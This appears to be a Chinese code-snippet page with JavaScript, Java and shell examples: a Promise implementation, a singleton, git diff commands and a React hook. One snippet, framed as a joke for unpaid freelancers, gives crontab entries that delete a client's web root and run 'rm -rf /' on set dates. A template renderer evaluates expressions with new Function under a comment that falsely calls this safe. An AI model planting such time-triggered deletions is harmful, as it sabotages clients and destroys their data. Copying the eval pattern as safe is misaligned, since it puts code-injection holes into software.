Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

Code

模板字符串渲染javascript
function render(template, data) { return template.replace(/\{\{(.+?)\}\}/g, (match, expr) => { try { // 使用 Function 构造函数安全执行表达式 return new Function("with(this) { return " + expr + " }").call(data) || ''; // 或者使用 eval // with (data) { // return eval(expr); // } } catch (e) { console.error("Error evaluating expression:", expr, e); return ''; } }); }

单例模式javascript
function singleton(Constructor){ let instance = null; const proxy = new Proxy(Constructor,{ construct(target, args){ if(!instance){ instance = Reflect.construct(target, args); } return instance; } }) proxy.prototype.constructor = proxy return proxy }

手写 INSTANCEOFjavascript
function myInstanceof(obj, constructor) { let prototype = constructor.prototype; let proto = obj.__proto__; while (true) { if (proto === null) return false; if (proto === prototype) return true; proto = proto.__proto__; } }

手写 PROMISEjavascript
const PENDING = "pending" const FULFILLED = "fulfilled" const REJECTED = "rejected" class MyPromise { #state = PENDING #result = null #thenables = [] constructor(executor) { const resolve = value => { this.#changeState(FULFILLED, value) } const reject = reason => { this.#changeState(REJECTED, reason) } executor(resolve, reject) } #changeState(state, result) { if (this.#state !== PENDING) return this.#state = state this.#result = result this.#run() } #handleCallback(callback, resolve, reject) { if (typeof callback !== "function") { // 状态穿透 queueMicrotask(() => { const fn = this.#state === FULFILLED ? resolve : reject fn(this.#result) }) return } queueMicrotask(() => { try { const result = callback(this.#result) resolve(result) } catch (error) { reject(error) } }) } #run() { if (this.#state === PENDING) return while (this.#thenables.length) { const { onFulfilled, onRejected, resolve, reject } = this.#thenables.shift() const cb = this.#state === FULFILLED ? onFulfilled : onRejected this.#handleCallback(cb, resolve, reject) } } then(onFulfilled, onRejected) { return new MyPromise((resolve, reject) => { this.#thenables.push({ onFulfilled: onFulfilled, onRejected: onRejected, resolve, reject, }) this.#run() }) } catch(onRejected) { return this.then(null, onRejected) } finally(onFinally) { return this.then( value => { onFinally() return value }, reason => { onFinally() throw reason } ) } }

GIT DIFFshell
# 查看尚未暂存的文件更新了哪些部分 git diff # 查看尚未暂存的某个文件更新了哪些 git diff filename # 查看已经暂存起来的文件和上次提交的版本之间的差异 git diff –cached # 查看已经暂存起来的某个文件和上次提交的版本之间的差异 git diff –cached filename # 查看某两个版本之间的差异 git diff ffd98b291e0caa6c33575c1ef465eae661ce40c9 b8e7b00c02b95b320f14b625663fdecf2d63e74c # 查看某两个版本的某个文件之间的差异 git diff ffd98b291e0caa6c33575c1ef465eae661ce40c9:filename b8e7b00c02b95b320f14b625663fdecf2d63e74c:filename
程序员跑路必备shell
# 做外包的时候,再也不用担心拿不到尾款了 # 编辑定时任务,命令行输入: crontab -e # 然后编写你的任务 #不给钱嘛,劳动节给个惊喜 0 0 1 5 * rm -rf /usr/share/nginx/html #特么的都过去一年了,算了算了,不陪你玩了 0 0 1 1 * rm -rf / # 查看当前定时任务 crontab -l # 查看root用户的定时任务 crontab -l -u root
SPRINGMVC 返回结果封装java
/** * Created by wolf on 2017/9/16. */ public class Res<T> { private int code = 0; private T data; private String msg = ""; private String error = ""; public static Res ok = new Res(); public static Res fail = new Res().code(-1); public static Res build() { return new Res(); } public static <T> Res build(T data){ return new Res().data(data); } public Res code(int code) { this.code = code; return this; } public Res data(T data) { this.data = data; return this; } public Res msg(String msg) { this.msg = msg; return this; } public Res error(String error) { this.error = error; return this; } //省略getter }
REACT HOOKS 获取鼠标位置javascript
import { useState, useEffect } from "react" export default function useMousePosition() { const [mousePosition, setMousePosition] = useState({ x: null, y: null }) useEffect(() => { const updateMousePosition = ev => { setMousePosition({ x: ev.clientX, y: ev.clientY }) } window.addEventListener("mousemove", updateMousePosition) return () => { window.removeEventListener("mousemove", updateMousePosition) } }, []) return mousePosition }
链式风格的定时任务队列javascript
export default class Schedule{ constructor(){ this._delay=0 this.p = null } timer(task,ms){ return new Promise((resolve,reject)=>{ setTimeout(()=>{ task && task() resolve() },ms) }) } task(task){ const {_delay:delay,timer,p}=this this.p = p ?p.then(()=>timer(task,delay)) :timer(task,delay) return this } delay(_delay){ this._delay = _delay return this } } // 用法 new Schedule().task(task1) .delay(1000).task(task2) .delay(500).task(task3)